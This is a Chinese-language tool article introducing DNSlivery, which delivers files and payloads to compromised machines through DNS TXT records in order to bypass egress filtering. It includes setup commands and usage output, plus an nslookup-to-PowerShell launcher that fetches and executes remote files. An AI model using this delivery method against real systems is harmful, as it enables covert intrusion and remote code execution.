DNSlivery:通過DNS發送文件和payload的工具

  • 2019 年 10 月 7 日
  • 筆記

前言

DNSlivery是一款使用DNS作為傳輸協議將文件傳遞到目標的工具。

特點

1.執行或上傳文件到目標機器 2.目標上的不需要任何客戶端 3.不需要完整的DNS伺服器

它可以輕鬆地將文件或payload傳送到受損目標,不需要使用傳統的Web傳輸,無需專用客戶端軟體。這適用于禁止傳出Web流量的受限環境。

雖然現在已經存在更完整的DNS隧道工具(比如 dnscat2和iodine),它們都需要在目標上運行專用客戶端。問題是DNS可能沒有其他辦法在這種受限制的環境中提供客戶端。換句話說,使用這些工具構建DNS通訊通道需要已具有DNS通訊通道。

相比之下,DNSlivery僅提供從伺服器到目標的單向通訊,但不需要任何專用客戶端來執行此操作。因此,如果您需要通過DNS構建可靠的雙向通訊通道,請使用DNSlivery為您的目標提供更高級的DNS隧道工具的客戶端。

它是如何工作的?

與大多數DNS隧道工具一樣,DNSlivery使用TXT記錄以base64表示形式存儲文件內容。但是,它不需要設置完整的DNS伺服器。相反,它使用scapy庫來偵聽傳入的DNS數據包並製作所需的響應。

由於大多數文件不適合單個TXT記錄,DNSlivery將創建包含該文件的base64塊的多個有序記錄,上面的圖示出了輸送第二命名的文件的塊file。

為了檢索所有base64塊並將它們重新組合在一起而不需要在目標上使用專用客戶端,DNSlivery將為每個文件生成:

1.一個明文發送器 2.一個base64編碼stager

需要這兩個階段的交付過程來向stager添加功能(處理丟失的DNS響應),否則這些功能將不適合單個TXT記錄。

關於目標兼容性的注意

目前,僅支援PowerShell目標。但是,可以改進DNSlivery以支援其他目標,例如bash或python。如果這是您希望實現的功能,請告訴我@ no0be。

要求

DNSlivery不需要構建複雜的伺服器基礎結構。實際上,只有兩個簡單的要求:

1.能夠NS在您的公共DNS區域中創建記錄 2.擁有一台能夠從Internet 接收流量的Linux伺服器,開放udp/53

DNS

第一步是通過NS在域中創建新記錄,將子域委派給將運行DNSlivery的伺服器。作為示例,我創建了以下記錄以將子域委託dnsd.no0.be給伺服器vps.no0.be。

dnsd    IN  NS vps.no0.be.

如果您的區域由第三方提供商管理,請參閱其文檔以創建NS記錄。

DNSlivery

運行DNSlivery的唯一要求是python3它的scapy庫。

git clone https://github.com/no0be/DNSlivery.git &&  CD DNSliverypip install -r requirements.txt

用法

伺服器

DNSlivery將為給定目錄的所有文件提供服務(pwd默認情況下),並且需要以root許可權運行s以偵聽傳入的udp/53數據包。

usage: dnslivery.py [-h] [-p PATH] [-s SIZE] [-v] interface domain nameserverDNSlivery - Easy files and payloads delivery over DNSpositional arguments:  interface             interface to listen to DNS traffic  domain                FQDN name of the DNS zone  nameserver            FQDN name of the server running DNSliveryoptional arguments:  -h, --help            show this help message and exit  -p PATH, --path PATH  path of directory to serve over DNS (default: pwd)  -s SIZE, --size SIZE  size in bytes of base64 chunks (default: 255)  -v, --verbose         increase verbosity

示例:

$ sudo python3 dnslivery.py eth0 dnsd.no0.be vps.no0.be -p /tmp/dns-deliveryDNSlivery - Easy files and payloads delivery over DNS[*] File "file" ready for delivery at file.dnsd.no0.be (7 chunks)[*] Listening for DNS queries...

關於文件名規範化的注意

由於允許域名的字符集比UNIX文件名更具限制性(根據RFC1035),DNSlivery將在需要時執行規範化。

示例:

[*] File "My Awesome Powershell Script ;).ps1" ready for delivery at my-awesome-powershell-script----ps1.dnsd.no0.be (1891 chunks)

請注意,當前的規範化程式碼並不完美,因為它不會考慮重疊的文件名或大小限制。

目標

在目標上,首先通過請求其專用記錄來檢索所需文件的啟動器TXT。支援以下三個啟動器:

行動

發射台

描述

輸出

[filename].print.[domain]

(默認)將傳送的文件列印到控制台

執行

[filename].exec.[domain]

執行傳遞的文件

保存

[filename].save.[domain]

將傳遞的文件保存到磁碟

nslookup -type = txt [filename].[stager].[domain]

然後,只需將DNS響應中引用的啟動器複製並粘貼到PowerShell控制台即可檢索目標上的文件。

示例:

參考來源:GitHub,FB小編周大濤編譯,轉載請註明來自FreeBuf.COM